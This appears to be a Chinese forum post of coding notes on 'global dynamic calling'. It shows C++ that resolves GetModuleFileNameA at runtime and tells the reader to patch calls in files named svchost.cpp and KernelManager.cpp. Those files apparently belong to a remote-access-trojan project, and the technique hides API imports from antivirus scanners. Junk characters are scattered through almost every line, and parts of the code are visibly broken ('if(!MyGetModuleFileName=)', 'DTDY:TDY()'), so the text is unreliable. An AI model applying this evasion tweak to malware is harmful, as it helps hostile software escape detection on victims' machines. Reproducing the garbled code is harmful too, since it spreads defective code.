返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
  j. |7 X5 W3 k4 ?/ Xsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h5 W* T  D4 p* `0 Z) F
----------------------------------------3 U7 D4 C* l2 l3 f3 `: e
DTDY.h:
1 j- a4 }4 U' }& C& u
5 C' y- Q0 B8 T4 U#if _MSC_VER>1000
0 @! ^1 L8 N6 E4 m# |#pragma once2 a1 ~1 H6 z0 d3 @
#endif //_MSC_VER>10003 ]9 D$ L2 K2 k
#include<windows.h>
$ |3 B/ |8 R1 z$ I4 M9 i3 B& ~4 M, i
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);4 V' N3 o4 ?: B, D. o+ Q. t- w
class DTDY
) o! V% r3 k/ g+ |7 _2 U! ~{6 t% T) D9 v3 _
public:
& V4 s+ B: r* B& \7 S- JDTDY();+ Y, B9 l5 l& ?* q8 E
virtual ~DTDY();" D4 t: m# a4 r" @  F  }0 A
public:. j! H3 J' l8 I* g3 B5 k; m5 G
static pGetModuleFileNameA MyGetModuleFileName;7 l( C4 x& k5 Y( N
static BOOL FunInitiallization();6 d  S6 P. c4 {0 F3 v
};
! E1 t9 o) W/ ?" j  n! P" P8 g#endif6 T- s$ p- {" s' Q- q- I- c
----------------------------------------
6 O: T( F; z1 d  f- c$ p# Q8 u3 M+ v. }4 ^$ w/ ?$ N
DTDY.cpp:: e! L# ]! b  f' W& \
' s7 ?& {, g$ y. A
#include "DTDY.h"
( L% [- S' S0 ?/ J) h. xpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
" L$ K) b7 F% d1 p4 w$ G2 D  oDTDY:TDY()
6 f1 L* w% Q: p4 a  C" t{) U) G, n! H5 Y
}
  j* N1 H  Y& G0 u! `6 T; QDTDY::~DTDY()
2 a" Q' X; ^3 x& x, g& ]2 p# `{* a2 [, f1 x9 m/ Y
}" N3 }+ q  y/ [  ]
BOOL DTDY::FunInitiallization()4 `( m; u5 z0 t2 s" @; \
{& `) A* w, z5 x; @( J) D
HMODULE hModule=LoadLibrary("kernel32.dll");
: E3 y9 L3 W, B  U' K) _MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
  N: b) j( ?: }% ^6 Z8 oif(!MyGetModuleFileName=) return FALSE;
" ]0 w# A' n5 \  X: c7 a1 Y/ W6 h$ T1 ~9 Q& q  D( f' r
return TRUE;
! A8 d, Y0 i* V1 Z4 i; T}
/ R+ e' S2 E1 ~8 N----------------------------------------
8 B9 P4 T# ?# ?& i  X( k$ gsvchost.cpp:) h# ]  G& i; H. h; f  J/ g

4 {5 f% A' _; o$ B  _7 |" M#include "DTDY.h"+ B( z3 z- a! k$ h

  C" I( o, z$ u6 r" y7 b  BBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
1 ~$ `9 @0 u8 x" q: E: j- g{( i4 K! W# G6 J2 M* e9 g! z
switch(ul_reason_for_call)! l3 @) C0 p$ _0 h+ }
{
. o( P" e% h. L; {7 _case DLL_PROCESS_ATTACH:! h$ t1 ?8 b: b2 o
if(!DTDY::FunInitiallization()) return FALSE;; e. {5 r+ j7 m! @( g

3 ~& n- [+ S( H* J8 ^  gbreak;3 E2 C) S+ i$ @7 {' @% z
}
' s+ Z  |  q" z5 }: y* @+ A1 W}
8 t( z# w. E+ C& M, _" ?$ |9 W$ g9 D& v7 ~

1 u) G" I! B# X! M" qGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def. h. g, y) m2 U3 p1 O# c
改写为
' Y  E) `+ l) ~+ }: `DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));* S9 a' A" X7 ^* Z, \6 B
----------------------------------------9 [6 `9 C/ a6 K! c2 Q
KernelManager.cpp:
3 k) h, ^& G, {- F5 S* c$ x5 G: X* D0 F9 U) \! |/ ]# \
#include "../DTDY.h"
; Q+ i0 F$ ?& F  DGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));  E; {# N+ j% t( Z
改写为
8 T2 x2 c  [$ j" X0 r) ~DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));" z# h+ }6 C( K' u0 U: @# b
----------------------------------------

返回列表